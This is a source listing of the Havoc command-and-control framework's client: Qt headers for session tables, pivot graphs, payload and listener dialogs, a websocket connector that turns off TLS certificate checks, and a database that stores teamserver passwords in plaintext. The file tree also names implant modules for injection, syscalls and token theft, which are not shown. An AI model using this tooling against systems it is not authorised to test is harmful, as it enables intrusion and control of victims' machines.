    double       Modifier     = 0;       // Amount to adjust a node's y-coordinate, based on the positions of its descendants.
    double       Shift        = 0;       // Amount to move subtrees apart to avoid overlaps.
    double       Change       = 0;       // Rate of change in shift amount, used to evenly distribute shifts among siblings.
    
    std::vector<Node*> Children = std::vector<Node*>();

    HavocNamespace::Util::SessionItem Session;

public:
    Node( NodeItemType NodeType, QString NodeLabel, GraphWidget* graphWidget );

    void appendChild( Node* child );
    void removeChild( Node* child );

    void addEdge( Edge* edge );
    QVector<Edge*> edges() const;

    enum { Type = UserType + 1 };
    int type() const override { return Type; }

    void calculateForces();
    bool advancePosition();

    void contextMenuEvent(QGraphicsSceneContextMenuEvent *event) override;

    QRectF boundingRect() const override;
    QPainterPath shape() const override;

    void paint( QPainter* painter, const QStyleOptionGraphicsItem* option, QWidget* widget ) override;

protected:
    QVariant itemChange( GraphicsItemChange change, const QVariant& value ) override;

    void mousePressEvent( QGraphicsSceneMouseEvent* event ) override;
    void mouseReleaseEvent( QGraphicsSceneMouseEvent* event ) override;
    void mouseMoveEvent( QGraphicsSceneMouseEvent* event ) override;

private:
    QVector<Edge*>  edgeList;
    QPointF         newPos;
    GraphWidget*    graph;
};

class GraphWidget : public QGraphicsView
{
Q_OBJECT
    typedef struct
    {
        QString Name;
        class Node*   Node;
    } Member;

    QGraphicsScene*      GraphScene = nullptr;
    Member*              MainNode   = nullptr;
    std::vector<Member*> NodeList   = std::vector<Member*>();

public:
    GraphWidget( QWidget* parent = nullptr );

    void itemMoved();

    Node* GraphNodeAdd( HavocNamespace::Util::SessionItem Session );
    void  GraphNodeRemove( HavocNamespace::Util::SessionItem Session );
    Node* GraphNodeGet( QString AgentID );

    void  GraphPivotNodeAdd( QString AgentID, HavocNamespace::Util::SessionItem Session );
    void  GraphPivotNodeDisconnect( QString AgentID );
    void  GraphPivotNodeReconnect( QString ParentAgentID, QString ChildAgentID );

public slots:
    void shuffle();
    void zoomIn();
    void zoomOut();

protected:
    void keyPressEvent( QKeyEvent* event ) override;
    void timerEvent( QTimerEvent* event ) override;
    void resizeEvent( QResizeEvent* event ) override;

#if QT_CONFIG( wheelevent )
    void wheelEvent( QWheelEvent* event ) override;
#endif

    void drawBackground( QPainter* painter, const QRectF& rect ) override;
    void scaleView( qreal scaleFactor );

private:
    int timerId = 0;
    Node* centerNode;
    const double X_SEP = 220; // Horizontal separation between levels of the tree
    const double Y_SEP = 120; // Vertical separation between sibling nodes

    void initNode(Node* v);
    void layout(Node* T);
    void firstWalk(Node* v);
    void apportion(Node* v, Node*& defaultAncestor);
    void moveSubtree(Node* wm, Node* wp, double shift);
    Node* nextLeft(Node* v);
    Node* nextRight(Node* v);
    Node* ancestor(Node* vim, Node* v, Node*& defaultAncestor);
    void executeShifts(Node* v);
    void secondWalk(Node* v, double m, double depth);
};

class Edge : public QGraphicsItem
{
public:
    Node* source = nullptr;
    Node* dest   = nullptr;

    Edge( Node* sourceNode, Node* destNode, QColor Color );

    Node* sourceNode() const;
    Node* destNode() const;

    void adjust();
    void Color( QColor color );

    enum { Type = UserType + 2 };
    int type() const override { return Type; }

protected:
    QRectF boundingRect() const override;
    void paint( QPainter* painter, const QStyleOptionGraphicsItem* option, QWidget* widget ) override;

private:
    QColor  color       = QColor();
    QPointF sourcePoint = QPointF();
    QPointF destPoint   = QPointF();
    qreal   arrowSize   = 10;
};

#endif


================================================
FILE: client/include/UserInterface/Widgets/SessionTable.hpp
================================================
#ifndef HAVOC_SESSIONTABLE_HPP
#define HAVOC_SESSIONTABLE_HPP

#include <global.hpp>
#include <QTableWidget>

class HavocNamespace::UserInterface::Widgets::SessionTable : public QWidget
{
private:
    QGridLayout*        gridLayout       = nullptr;
    QString             TeamserverName   = nullptr;

    QTableWidgetItem*   TitleAgentID     = nullptr;
    QTableWidgetItem*   TitleInternal    = nullptr;
    QTableWidgetItem*   TitleExternal    = nullptr;
    QTableWidgetItem*   TitleUser        = nullptr;
    QTableWidgetItem*   TitleComputer    = nullptr;
    QTableWidgetItem*   TitleOperating   = nullptr;
    QTableWidgetItem*   TitleProcess     = nullptr;
    QTableWidgetItem*   TitleProcessId   = nullptr;
    QTableWidgetItem*   TitleArch        = nullptr;
    QTableWidgetItem*   TitleLast        = nullptr;
    QTableWidgetItem*   TitleHealth      = nullptr;

public:
    QTableWidget*   SessionTableWidget = nullptr;

    void setupUi( QWidget* widget, QString TeamserverName );
    void NewSessionItem( Util::SessionItem item ) const;
    void ChangeSessionValue( QString DemonID, int key, QString value );
    void updateRow();
};

#endif


================================================
FILE: client/include/UserInterface/Widgets/Store.hpp
================================================
#ifndef HAVOC_STORE_HPP
#define HAVOC_STORE_HPP

#include <QtWidgets/QWidget>
#include <QSplitter>
#include <QPushButton>
#include <QHBoxLayout>
#include <QVBoxLayout>
#include <QTableWidget>
#include <QTableWidgetItem>
#include <QLabel>
#include <QScrollArea>
#include <QDir>

#include <QtCore/QVariant>
#include <QtWidgets/QApplication>
#include <QtWidgets/QFormLayout>
#include <QtWidgets/QGridLayout>
#include <QtWidgets/QHeaderView>
#include <QtWidgets/QListWidget>
#include <QtWidgets/QSplitter>
#include <QtWidgets/QStackedWidget>
#include <QtWidgets/QTextEdit>
#include <QtWidgets/QTreeWidget>

#include <QNetworkAccessManager>
#include <QNetworkRequest>
#include <QNetworkReply>
#include <QEventLoop>
#include <QJsonDocument>
#include <QJsonObject>
#include <QJsonValue>
#include <QJsonArray>

class Store
{
public:
    QWidget*            StoreWidget;
    QHBoxLayout*        horizontalLayout;
    QSplitter*          StoreSplitter;
    QTableWidget*       StoreTable;

    QTableWidgetItem    *labelTitle;
    QTableWidgetItem    *labelAuthor;

    QWidget*            panelStore;
    QVBoxLayout*        panelLayout;

    QWidget*            root_panelStore;
    QVBoxLayout*        root_panelLayout;
    QScrollArea*        panelScroll;
    QJsonArray*         dataStore;

    QLabel*             headerLabelTitle;
    QLabel*             panelLabelDescription;
    QLabel*             panelLabelAuthor;
    QPushButton*        installButton;

    QGridLayout*    gridLayout;
    QTextEdit*      StoreLogger;

    void setupUi( QWidget* Store );
    void displayData( int position );
    void installScript( int position );
    bool AddScript( QString Path );
    void retranslateUi(  );
};

#endif


================================================
FILE: client/include/UserInterface/Widgets/Teamserver.hpp
================================================
#ifndef HAVOC_TEAMSERVER_HPP
#define HAVOC_TEAMSERVER_HPP

#include <QtCore/QVariant>
#include <QtWidgets/QApplication>
#include <QtWidgets/QFormLayout>
#include <QtWidgets/QGridLayout>
#include <QtWidgets/QHeaderView>
#include <QtWidgets/QListWidget>
#include <QtWidgets/QSplitter>
#include <QtWidgets/QStackedWidget>
#include <QtWidgets/QTextEdit>
#include <QtWidgets/QTreeWidget>
#include <QtWidgets/QWidget>

class Teamserver
{
public:
    QGridLayout*    gridLayout;
    QWidget*        TeamserverWidget;
    QTextEdit*      TeamserverLogger;

    void setupUi( QWidget* Teamserver );
    void retranslateUi(  );

    void AddLoggerText( const QString& Text ) const;
};

#endif


================================================
FILE: client/include/UserInterface/Widgets/TeamserverTabSession.h
================================================
#ifndef HAVOC_TEAMSERVERTABSESSION_H
#define HAVOC_TEAMSERVERTABSESSION_H

#include <global.hpp>
#include <QStackedWidget>
#include <QSplitter>

#include <UserInterface/Widgets/LootWidget.h>
#include <UserInterface/Widgets/SessionGraph.hpp>
#include <UserInterface/Widgets/Teamserver.hpp>
#include <UserInterface/Widgets/Store.hpp>

#include <UserInterface/Dialogs/Payload.hpp>

using namespace HavocNamespace;

class HavocNamespace::UserInterface::Widgets::TeamserverTabSession : public QWidget
{
    typedef struct
    {
        UserInterface::SmallWidgets::EventViewer* EventViewer;
    } SmallAppWidgets_t;

public:
    QGridLayout* gridLayout              = {};
    QGridLayout* gridLayout_2            = {};
    QWidget*     layoutWidget            = {};
    QSplitter*   splitter_TopBot         = {};
    QSplitter*   splitter_SessionAndTabs = {};
    QVBoxLayout* verticalLayout          = {};
    QTabWidget*  tabWidget               = {};
    QTabWidget*  tabWidgetSmall          = {};

public:
    Widgets::Chat*                    TeamserverChat      = {};
    class Teamserver*                 Teamserver          = {};
    class Store*                      Store               = {};
    Widgets::SessionTable*            SessionTableWidget  = {};
    GraphWidget*                      SessionGraphWidget  = {};
    Widgets::ListenersTable*          ListenerTableWidget = {};
    Widgets::PythonScriptInterpreter* PythonScriptWidget  = {};
    Widgets::ScriptManager*           ScriptManagerWidget = {};
    Payload*                          PayloadDialog       = {};
    class LootWidget*                 LootWidget          = {};
    QStackedWidget*                   MainViewWidget      = {};
    QWidget*                          SessionTablePage    = {};
    HavocSpace::DBManager*            dbManager           = {};
    QString                           TeamserverName      = {};
    QWidget*                          PageWidget          = {};
    SmallAppWidgets_t*                SmallAppWidgets     = {};

    void setupUi( QWidget* Page, QString TeamserverName );
    void NewBottomTab( QWidget* TabWidget, const std::string& TitleName, QString IconPath = "" ) const;
    void NewWidgetTab( QWidget* TabWidget, const std::string& TitleName ) const;

protected slots:
    void handleDemonContextMenu( const QPoint& pos );
    void removeTabSmall( int ) const;
};

#endif


================================================
FILE: client/include/Util/Base.hpp
================================================
#ifndef HAVOC_BASE_HPP
#define HAVOC_BASE_HPP

#include <spdlog/spdlog.h>

#include <QString>
#include <QFile>
#include <QIcon>
#include <QMessageBox>
#include <QDateTime>
#include <QTime>

auto FileRead(
    const QString& FilePath
) -> QByteArray;

auto MessageBox(
    QString           Title,
    QString           Text,
    QMessageBox::Icon Icon
) -> void;

auto WinVersionIcon(
    QString OSVersion,
    bool    High
) -> QIcon;

auto WinVersionImage(
    QString OSVersion,
    bool    High
) -> QImage;

auto GrayScale(
    QImage image
) -> QImage;

auto CurrentDateTime(
    void
) -> QString;

auto CurrentTime(
        void
) -> QString;

#endif


================================================
FILE: client/include/Util/Base64.h
================================================
#ifndef HAVOC_BASE64_H
#define HAVOC_BASE64_H

#include <string>
#include <global.hpp>

std::string HavocNamespace::Util::base64_encode(const char* buf, unsigned int bufLen);

#endif


================================================
FILE: client/include/Util/ColorText.h
================================================
#ifndef HAVOC_COLORTEXT_H
#define HAVOC_COLORTEXT_H

#include <global.hpp>

class HavocNamespace::Util::ColorText {
public:
    struct Colors {
        struct Hex {
            static QString Background;
                static QString Foreground;
            static QString CurrentLine;
            static QString Comment;

            static QString Cyan;
            static QString Green;
            static QString Orange;
            static QString Pink;
            static QString Purple;
            static QString Red;
            static QString Yellow;

            static QString SessionCyan;
            static QString SessionGreen;
            static QString SessionOrange;
            static QString SessionPink;
            static QString SessionPurple;
            static QString SessionRed;
            static QString SessionYellow;
        };
    };

    static void SetDraculaDark();
    static void SetDraculaLight();

    static QString Color(const QString& color, const QString& text);
    static QString Background(const QString&);
    static QString Foreground(const QString&);
    static QString Comment(const QString&);
    static QString Cyan(const QString&);
    static QString Green(const QString&);
    static QString Orange(const QString&);
    static QString Pink(const QString&);
    static QString Purple(const QString&);
    static QString Red(const QString&);
    static QString Yellow(const QString&);

    static QString Underline(const QString& text);
    static QString UnderlineBackground(const QString& text);
    static QString UnderlineForeground(const QString& text);
    static QString UnderlineComment(const QString& text);
    static QString UnderlineCyan(const QString& text);
    static QString UnderlineGreen(const QString& text);
    static QString UnderlineOrange(const QString& text);
    static QString UnderlinePink(const QString& text);
    static QString UnderlinePurple(const QString& text);
    static QString UnderlineRed(const QString& text);
    static QString UnderlineYellow(const QString& text);

    static QString Bold(const QString& text);
};

#endif //HAVOC_COLORTEXT_H


================================================
FILE: client/include/global.hpp
================================================
#ifndef HAVOC_GLOBAL_HPP
#define HAVOC_GLOBAL_HPP

#include <QApplication>
#include <QMainWindow>
#include <QtNetwork/QTcpSocket>
#include <QtCore/QVariant>
#include <QtGui/QIcon>
#include <QAction>
#include <QFormLayout>
#include <QGridLayout>
#include <QLabel>
#include <QMenu>
#include <QDate>
#include <QMenuBar>
#include <QPushButton>
#include <QSpacerItem>
#include <QTabWidget>
#include <QWidget>
#include <QDialog>
#include <QtNetwork/QTcpSocket>
#include <QtNetwork/QTcpServer>
#include <QMessageBox>
#include <QJsonDocument>
#include <QJsonObject>
#include <QLineEdit>
#include <QTextEdit>
#include <QTableWidget>
#include <QTextCodec>

#include <string>
#include <map>
#include <iostream>
#include <any>

#include <External.h>

#include <Havoc/Service.hpp>
#include <UserInterface/Widgets/FileBrowser.hpp>
#include <Util/Base.hpp>

#pragma push_macro("slots")
#undef slots
#include <Python.h>
#pragma pop_macro("slots")

typedef uint32_t            u32;
typedef uint64_t            u64;

/* windows habit lol */
typedef char*               PCHAR;
typedef char                BYTE;
typedef void*               PVOID;
typedef void*               LPVOID;
typedef unsigned long int   UINT_PTR;

/* std typedefs */
typedef std::map<std::string, std::string> MapStrStr;
typedef std::map<std::string, std::any>    MapStrAny;

/* TODO: rewrite everything.
 *       this is a stupid design
 *       move every class into its own header
 *       remove this namespace */

namespace HavocNamespace
{
    extern std::string Version;
    extern std::string CodeName;

    namespace Util
    {
        class ColorText;

        std::string base64_encode( const char* buf, unsigned int bufLen );
        std::string gen_random( const int len );

        typedef struct RegisteredCommand
        {
            /* for what agent is it this command */
            std::string     Agent;
            std::string     Module;
            std::string     Command;
            std::string     Help;
            u32             Behaviour;
            std::string     Usage;
            std::string     Example;
            void*           Function;
            std::string     Path;

        } RegisteredCommand ;

        typedef struct RegisteredModule
        {
            /* for what agent is it this command */
            std::string Agent;

            std::string Name;
            std::string Description;
            std::string Behavior;
            std::string Usage;
            std::string Example;

        } RegisteredModule;

        typedef struct ListenerItem
        {
            std::string Name;
            std::string Protocol;
            std::string Status;

            std::any    Info;
        } ListenerItem;
    };

    namespace UserInterface
    {
        class HavocUi;

        namespace Dialogs {
            class Connect;
            class NewListener;
        }

        // Widgets
        namespace Widgets {
            class Chat;
            class SessionTable;
            class ListenersTable;
            class CredentialsTable;
            class TeamserverTabSession;
            class ProcessList;
            class PythonScriptInterpreter;
            class ScriptManager;
        }

        namespace SmallWidgets {
            class EventViewer;
        }

    };

    namespace HavocSpace {

        struct Listener {

            static QString PayloadHTTPS;
            static QString PayloadHTTP;
            static QString PayloadSMB;
            static QString PayloadExternal;

            typedef struct
            {
                QStringList Hosts;
                QString     HostBind;
                QString     HostRotation;
                QString     PortBind;
                QString     PortConn;
                QString     UserAgent;
                QStringList Headers;
                QStringList Uris;
                QString     HostHeader;
                QString     Secure;
                QString     ProxyEnabled;
                QString     ProxyType;
                QString     ProxyHost;
                QString     ProxyPort;
                QString     ProxyUsername;
                QString     ProxyPassword;
            } HTTP;

            typedef struct
             {
                QString PipeName;
            } SMB;

            typedef struct
            {
                QString Endpoint;
            } External;

            typedef MapStrStr Service;
        };

        class Packager;
        class DBManager;
        class Havoc;
    }

    extern HavocNamespace::HavocSpace::Havoc* HavocApplication;
};

namespace HavocNamespace
{
    class Connector;

    namespace UserInterface::Widgets
    {
        class DemonInteracted;
    }

    namespace HavocSpace
    {
        class DemonCommands;
    };

    namespace Util
    {
        typedef struct
        {

            QString TeamserverID;
            QString Name;
            u64     MagicValue;
            QString External;
            QString Internal;
            QString Listener;
            QString User;
            QString Computer;
            QString Domain;
            QString OS;
            QString OSBuild;
            QString OSArch;
            QString Process;
            QString PID;
            QString Arch;
            QString First;
            QString Last;
            QDateTime LastUTC;
            QString Elevated;
            QString PivotParent;
            QString Marked;
            QString Health;
            u32     SleepDelay;
            u32     SleepJitter;
            u64     KillDate;
            u32     WorkingHours;

            UserInterface::Widgets::DemonInteracted* InteractedWidget;
            UserInterface::Widgets::ProcessList*     ProcessList;
            class FileBrowser*                             FileBrowser;

            std::map<QString, PyObject*> TaskIDToPythonCallbacks;

            void Export();
        } SessionItem;

        typedef struct
        {
            QString Name;
            QString Host;
            QString Port;
            QString User;
            QString Password;

            std::vector<ListenerItem>      Listeners;
            std::vector<json>              RegisteredListeners;
            std::vector<SessionItem>       Sessions;
            std::vector<RegisteredCommand> RegisteredCommands;
            std::vector<RegisteredModule>  RegisteredModules;
            std::vector<PyObject*>         RegisteredCallbacks;
            std::vector<ServiceAgent>      ServiceAgents;

            QStringList   AddedCommands;
            QJsonDocument DemonConfig;
            QStringList   IpAddresses;
            std::string   LoadingScript;

            UserInterface::Widgets::TeamserverTabSession* TabSession;
        } ConnectionInfo;
    };
}

// Global Instance
namespace HavocX
{
    extern bool                                     DebugMode;
    extern bool                                     GateGUI;
    extern PyObject*                                callbackGate;
    extern PyObject*                                callbackMessage;
    extern HavocNamespace::Util::ConnectionInfo     Teamserver;
    extern HavocNamespace::UserInterface::HavocUi*  HavocUserInterface;
    extern HavocNamespace::Connector*               Connector;
}

#endif


================================================
FILE: client/makefile
================================================
MAKEFLAGS += -s

ifndef VERBOSE
.SILENT:
endif

all:
	@ mkdir build; cd build; cmake ..
	@ if [ -d "Modules" ]; then echo "Modules installed"; else git clone https://github.com/HavocFramework/Modules Modules; fi
	@ cmake --build build -- -j 4

clean:
	@ rm -rf build
	@ rm -rf .idea
	@ rm -rf cmake-build-debug
	@ rm -rf modules
	@ rm -rf Havoc


================================================
FILE: client/src/Havoc/Connector.cc
================================================
#include <Havoc/Connector.hpp>
#include <Havoc/Havoc.hpp>
#include <QCryptographicHash>
#include <QMap>
#include <QBuffer>

Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
{
    Teamserver   = ConnectionInfo;
    Socket       = new QWebSocket();
    auto Server  = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
    auto SslConf = Socket->sslConfiguration();

    /* ignore annoying SSL errors */
    SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
    Socket->setSslConfiguration( SslConf );
    Socket->ignoreSslErrors();

    QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
    {
        auto Package = HavocSpace::Packager::DecodePackage( Message );

        if ( Package != nullptr )
        {
            if ( ! Packager )
                return;

            Packager->DispatchPackage( Package );

            return;
        }

        spdlog::critical( "Got Invalid json" );
    } );

    QObject::connect( Socket, &QWebSocket::connected, this, [&]()
    {
        this->Packager = new HavocSpace::Packager;
        this->Packager->setTeamserver( this->Teamserver->Name );

        SendLogin();
    } );

    QObject::connect( Socket, &QWebSocket::disconnected, this, [&]()
    {
        MessageBox( "Teamserver error", Socket->errorString(), QMessageBox::Critical );

        Socket->close();

        Havoc::Exit();
    } );

    Socket->open( QUrl( Server ) );
}

bool Connector::Disconnect()
{
    if ( this->Socket != nullptr )
    {
        this->Socket->disconnect();
        return true;
    }

    return false;
}

Connector::~Connector() noexcept
{
    delete this->Socket;
}

void Connector::SendLogin()
{
    Util::Packager::Package Package;

    Util::Packager::Head_t Head;
    Util::Packager::Body_t Body;

    Head.Event              = Util::Packager::InitConnection::Type;
    Head.User               = this->Teamserver->User.toStdString();
    Head.Time               = CurrentTime().toStdString();

    Body.SubEvent           = Util::Packager::InitConnection::Login;
    Body.Info[ "User" ]     = this->Teamserver->User.toStdString();
    Body.Info[ "Password" ] = QCryptographicHash::hash( this->Teamserver->Password.toLocal8Bit(), QCryptographicHash::Sha3_256 ).toHex().toStdString();

    Package.Head = Head;
    Package.Body = Body;

    SendPackage( &Package );
}

void Connector::SendPackage( Util::Packager::PPackage Package )
{
    Socket->sendBinaryMessage( Packager->EncodePackage( *Package ).toJson( QJsonDocument::Compact ) );
}


================================================
FILE: client/src/Havoc/DBManger/DBManager.cc
================================================
#include <Havoc/DBManager/DBManager.hpp>
#include <QFileInfo>

using namespace HavocNamespace::HavocSpace;

int DBManager::OpenSqlFile = 1;
int DBManager::CreateSqlFile = 2;

DBManager::DBManager( const QString& FilePath, int OpenFlag )
{
    auto exists = false;
    if ( QFileInfo::exists( FilePath ) ) {
        exists = true;
    }

    this->DB = QSqlDatabase::addDatabase( "QSQLITE" );
    this->DB.setDatabaseName( FilePath );

    if ( this->DB.open() ) {
        if ( OpenFlag == DBManager::CreateSqlFile && ! exists ) {
            if ( this->createNewDatabase() ) {
                spdlog::info( "Successful created database" );
            } else {
                spdlog::error( "Failed to create a new database" );
            }
        }
    } else {
        spdlog::error( "[DB] Failed to open database" );
    }
}

bool DBManager::createNewDatabase()
{
    auto query = QSqlQuery();
    auto error = std::string();

    /* check if the db file is opened */
    if ( ! DB.isOpen() ) {
        return false;
    }

    query.prepare(
        "CREATE TABLE \"Teamservers\" ( "
        "\"ID\" INTEGER PRIMARY KEY, "
        "\"ProfileName\" TEXT, "
        "\"Host\" TEXT, "
        "\"Port\" INTEGER, "
        "\"User\" TEXT, "
        "\"Password\" TEXT "
        ");"
    );
    if ( ! query.exec() ) {
        error = query.lastError().text().toStdString();
        spdlog::error( "[DB] Couldn't create Teamserver table: ", error );
    }

    query.prepare(
        "CREATE TABLE \"Scripts\" ( "
        "\"ID\" INTEGER PRIMARY KEY, "
        "\"Path\" TEXT "
        ");"
    );

    if ( ! query.exec() ) {
        error = query.lastError().text().toStdString();
        spdlog::error( "[DB] Couldn't create Scripts table: ", error );
        return false;
    }

    return true;
}

================================================
FILE: client/src/Havoc/DBManger/Scripts.cc
================================================
#include <Havoc/DBManager/DBManager.hpp>

bool HavocNamespace::HavocSpace::DBManager::AddScript( QString Path )
{
    auto query = QSqlQuery();
    auto error = std::string();

    query.prepare( "insert into Scripts (Path) values(:Path)" );
    query.bindValue( ":Path", Path );

    if ( ! query.exec() ) {
        error = query.lastError().text().toStdString();
        spdlog::error( "[DB] Failed to add Script: {}", error );
        return false;
    }

    return true;
}

bool HavocNamespace::HavocSpace::DBManager::RemoveScript( QString Path )
{
    auto query = QSqlQuery();
    auto error = std::string();
    auto path  = std::string();

    query.prepare( "delete from Scripts where Path = :Path" );
    query.bindValue( ":Path", Path );

    if ( ! query.exec() ) {
        error = query.lastError().text().toStdString();
        path  = Path.toStdString();

        spdlog::error( "[DB] Couldn't delete {} from Scripts: {}", path, error );

        return false;
    }

    return true;
}

bool HavocNamespace::HavocSpace::DBManager::CheckScript( QString Path )
{
    auto query = QSqlQuery();
    auto error = std::string();

    query.prepare( "select * from Scripts" );

    if ( ! query.exec() ) {
        error = query.lastError().text().toStdString();
        spdlog::error( "[DB] Couldn't query Scripts: {}", error );
        return false;
    }

    while ( query.next() )
    {
        if ( query.value( "Path" ) == Path )
            return true;
    }

    return false;
}

vector<QString> HavocNamespace::HavocSpace::DBManager::GetScripts()
{
    auto List  = vector<QString>();
    auto query = QSqlQuery();
    auto error = std::string();

    query.prepare( "select * from Scripts" );

    if ( ! query.exec() ) {
        error = query.lastError().text().toStdString();
        spdlog::error( "[DB] Couldn't query Scripts: {}", error );
        return List;
    }

    while ( query.next() )
        List.push_back( query.value("Path").toString() );

    return List;
}

================================================
FILE: client/src/Havoc/DBManger/Teamserver.cc
================================================
#include <Havoc/DBManager/DBManager.hpp>
#include <QSqlError>

using namespace HavocNamespace;

bool HavocSpace::DBManager::addTeamserverInfo( const Util::ConnectionInfo& connection )
{
    auto query   = QSqlQuery();
    auto success = true;
    auto error   = std::string();

    query.prepare( "insert into Teamservers (ProfileName, Host, Port, User, Password) values(:ProfileName, :Host, :Port, :User, :Password)" );

    query.bindValue( ":ProfileName", connection.Name.toStdString().c_str() );
    query.bindValue( ":Host",        connection.Host.toStdString().c_str() );
    query.bindValue( ":Port",        connection.Port.toStdString().c_str() );
    query.bindValue( ":User",        connection.User.toStdString().c_str() );
    query.bindValue( ":Password",    connection.Password.toStdString().c_str() );

    /* print error */
    if ( ! ( success = query.exec() ) ) {
        error   = query.lastError().text().toStdString();
        success = false;

        spdlog::error( "[DB] Failed to add teamserver info: {}", error );
    }

    return success;
}

bool HavocSpace::DBManager::checkTeamserverExists( const QString& ProfileName )
{
    auto query   = QSqlQuery();
    auto success = false;
    auto error   = std::string();

    query.prepare( "select * from Teamservers" );

    if ( ! query.exec() ) {
        error = query.lastError().text().toStdString();
        spdlog::error( "[DB] Failed to query teamserver existence: {}", error );
        return success;
    }

    while ( query.next() ) {
  
Download .txt
gitextract_7ncmzzmg/

├── .github/
│   ├── FUNDING.yml
│   └── ISSUE_TEMPLATE/
│       ├── Bug_Report-Demon.yml
│       ├── Bug_Report-Documentation.yml
│       ├── Bug_Report-Teamserver-Client.yml
│       ├── Feature_Suggestion.yml
│       └── config.yml
├── .gitignore
├── .gitmodules
├── CONTRIBUTING.MD
├── CREDITS.md
├── LICENSE
├── README.md
├── RELEASE.md
├── WIKI.MD
├── assets/
│   ├── Havoc-Client.groovy
│   └── Havoc-Teamserver.groovy
├── client/
│   ├── CMakeLists.txt
│   ├── README.md
│   ├── config.toml
│   ├── include/
│   │   ├── External.h
│   │   ├── Havoc/
│   │   │   ├── CmdLine.hpp
│   │   │   ├── Connector.hpp
│   │   │   ├── DBManager/
│   │   │   │   └── DBManager.hpp
│   │   │   ├── DemonCmdDispatch.h
│   │   │   ├── Havoc.hpp
│   │   │   ├── Packager.hpp
│   │   │   ├── PythonApi/
│   │   │   │   ├── Event.h
│   │   │   │   ├── HavocUi.h
│   │   │   │   ├── PyAgentClass.hpp
│   │   │   │   ├── PyDemonClass.h
│   │   │   │   ├── PythonApi.h
│   │   │   │   └── UI/
│   │   │   │       ├── PyDialogClass.hpp
│   │   │   │       ├── PyLoggerClass.hpp
│   │   │   │       ├── PyTreeClass.hpp
│   │   │   │       └── PyWidgetClass.hpp
│   │   │   └── Service.hpp
│   │   ├── UserInterface/
│   │   │   ├── Dialogs/
│   │   │   │   ├── About.hpp
│   │   │   │   ├── Connect.hpp
│   │   │   │   ├── Listener.hpp
│   │   │   │   └── Payload.hpp
│   │   │   ├── HavocUI.hpp
│   │   │   ├── SmallWidgets/
│   │   │   │   └── EventViewer.hpp
│   │   │   └── Widgets/
│   │   │       ├── Chat.hpp
│   │   │       ├── DemonInteracted.h
│   │   │       ├── FileBrowser.hpp
│   │   │       ├── ListenerTable.hpp
│   │   │       ├── LootWidget.h
│   │   │       ├── ProcessList.hpp
│   │   │       ├── PythonScript.hpp
│   │   │       ├── ScriptManager.h
│   │   │       ├── SessionGraph.hpp
│   │   │       ├── SessionTable.hpp
│   │   │       ├── Store.hpp
│   │   │       ├── Teamserver.hpp
│   │   │       └── TeamserverTabSession.h
│   │   ├── Util/
│   │   │   ├── Base.hpp
│   │   │   ├── Base64.h
│   │   │   └── ColorText.h
│   │   └── global.hpp
│   ├── makefile
│   └── src/
│       ├── Havoc/
│       │   ├── Connector.cc
│       │   ├── DBManger/
│       │   │   ├── DBManager.cc
│       │   │   ├── Scripts.cc
│       │   │   └── Teamserver.cc
│       │   ├── Demon/
│       │   │   ├── CommandOutput.cc
│       │   │   ├── CommandSend.cc
│       │   │   ├── Commands.cc
│       │   │   └── ConsoleInput.cc
│       │   ├── Havoc.cc
│       │   ├── Packager.cc
│       │   ├── PythonApi/
│       │   │   ├── Event.cc
│       │   │   ├── Havoc.cc
│       │   │   ├── HavocUi.cc
│       │   │   ├── PyAgentClass.cc
│       │   │   ├── PyDemonClass.cc
│       │   │   ├── PythonApi.cc
│       │   │   └── UI/
│       │   │       ├── PyDialogClass.cc
│       │   │       ├── PyLoggerClass.cc
│       │   │       ├── PyTreeClass.cc
│       │   │       └── PyWidgetClass.cc
│       │   └── Service.cc
│       ├── Main.cc
│       ├── UserInterface/
│       │   ├── Dialogs/
│       │   │   ├── About.cc
│       │   │   ├── Connect.cc
│       │   │   ├── Listener.cc
│       │   │   └── Payload.cc
│       │   ├── HavocUi.cc
│       │   ├── SmallWidgets/
│       │   │   └── EventViewer.cc
│       │   └── Widgets/
│       │       ├── Chat.cc
│       │       ├── DemonInteracted.cc
│       │       ├── FileBrowser.cc
│       │       ├── ListenersTable.cc
│       │       ├── LootWidget.cc
│       │       ├── ProcessList.cc
│       │       ├── PythonScript.cc
│       │       ├── ScriptManager.cc
│       │       ├── SessionGraph.cc
│       │       ├── SessionTable.cc
│       │       ├── Store.cc
│       │       ├── Teamserver.cc
│       │       └── TeamserverTabSession.cc
│       ├── Util/
│       │   ├── Base.cpp
│       │   ├── Base64.cpp
│       │   └── ColorText.cpp
│       └── global.cc
├── makefile
├── payloads/
│   ├── Demon/
│   │   ├── CMakeLists.txt
│   │   ├── README.md
│   │   ├── include/
│   │   │   ├── Demon.h
│   │   │   ├── common/
│   │   │   │   ├── Clr.h
│   │   │   │   ├── Defines.h
│   │   │   │   ├── Macros.h
│   │   │   │   └── Native.h
│   │   │   ├── core/
│   │   │   │   ├── CoffeeLdr.h
│   │   │   │   ├── Command.h
│   │   │   │   ├── Dotnet.h
│   │   │   │   ├── Download.h
│   │   │   │   ├── HwBpEngine.h
│   │   │   │   ├── HwBpExceptions.h
│   │   │   │   ├── Jobs.h
│   │   │   │   ├── Kerberos.h
│   │   │   │   ├── Memory.h
│   │   │   │   ├── MiniStd.h
│   │   │   │   ├── ObjectApi.h
│   │   │   │   ├── Package.h
│   │   │   │   ├── Parser.h
│   │   │   │   ├── Pivot.h
│   │   │   │   ├── Process.h
│   │   │   │   ├── Runtime.h
│   │   │   │   ├── SleepObf.h
│   │   │   │   ├── Socket.h
│   │   │   │   ├── Spoof.h
│   │   │   │   ├── SysNative.h
│   │   │   │   ├── Syscalls.h
│   │   │   │   ├── Thread.h
│   │   │   │   ├── Token.h
│   │   │   │   ├── Transport.h
│   │   │   │   ├── TransportHttp.h
│   │   │   │   ├── TransportSmb.h
│   │   │   │   └── Win32.h
│   │   │   ├── crypt/
│   │   │   │   └── AesCrypt.h
│   │   │   └── inject/
│   │   │       ├── Inject.h
│   │   │       └── InjectUtil.h
│   │   ├── makefile
│   │   ├── scripts/
│   │   │   └── hash_func.py
│   │   └── src/
│   │       ├── Demon.c
│   │       ├── asm/
│   │       │   ├── Spoof.x64.asm
│   │       │   ├── Spoof.x86.asm
│   │       │   ├── Syscall.x64.asm
│   │       │   └── Syscall.x86.asm
│   │       ├── core/
│   │       │   ├── CoffeeLdr.c
│   │       │   ├── Command.c
